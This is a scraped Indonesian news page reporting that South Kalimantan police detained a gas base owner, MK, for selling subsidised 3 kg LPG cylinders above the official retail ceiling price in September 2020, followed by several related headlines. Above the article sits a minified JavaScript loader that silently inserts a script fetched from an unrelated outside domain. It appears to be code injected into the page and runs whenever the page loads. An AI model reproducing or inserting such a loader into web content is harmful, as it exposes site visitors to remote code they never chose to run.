(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel mengamankan seorang ibu rumah tangga (IRT) berinisial MK (45) karena kedapatan menjual LPG 3 Kilogram di atas harga eceran tertinggi (HET), Kamis (17/9/2020) pukul 22.30 Wita.
MK, seorang pemilik pangkalan LPG 3 Kg ini diamankan di tempat usahanya Komplek Purna Sakti Jalur Utama I, Kelurahan Basirih, Kecamatan Banjarmasin Barat Kota Banjarmasin. Petugas menemukan barang bukti berupa LPG 3 Kg bersubsidi sebanyak 76 tabung, LPG 3 Kg bersubsidi (kosong) sebanyak 157 tabung, spanduk harga HET 1 lembar, log book pangkalan LPG 3 Kg Hasan dari bulan Januari sampai Agustus 2020 masing-masing 1 bundel.
Selain itu petugas juga mengamankan barang bukti lainnya berupa LPG 3 Kg bersubsidi (isi) sebanyak 18 tabung dan LPG 3 Kg bersubsidi (kosong) sebanyak 2 tabung.
Direktur Reskrimsus Polda Kalsel Kombes Pol Masrur melalui Kabid Humas Polda Kalsel Kombes Pol Mochamad Rifa’I menjelaskan pengungkapan oleh Jajaran Subdit 1 Tindak Pidana Indagsi Ditreskrimsus Polda Kalsel ini karena yang bersangkutan memperdagangkan LPG 3 KG bersubsidi kepada konsume pengecer dengan di atas HET dengan harga Rp 30 ribu per tabung.
Dengan melebihi ketentuan harga penjualan ke konsumen pengecer, wanita pemilik pangkalan ini telah melanggar Pasal 62 ayat (1) Jo Pasal 10 huruf (a) UU RI No.8 tahun 1999 tentang perlindungan lonsumen Jo Peraturan Presiden Republik Indonesia No.71 tahun 2015 tentang penetapan dan penyimpanan barang kebutuhan pokok dan penting.
Polda Kalsel pun mengimbau pangkalan LPG tidak menjual gas LPG 3 Kg di atas HET, tujuannya untuk mengantisipasi terjadinya kelangkaan LPG 3 Kg. (kanalkalimantan.com/rls)
Kementerian Agama RI melalui sidang isbat hari Selasa (17/02/2026) menetapkan 1 Ramadan 1447 H jatuh… Read More
Hasil sidang isbat Kementerian Agama RI telah menetapkan 1 Ramadan 1447 Hijriah jatuh pada hari… Read More
Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More
Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More
Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More
This website uses cookies.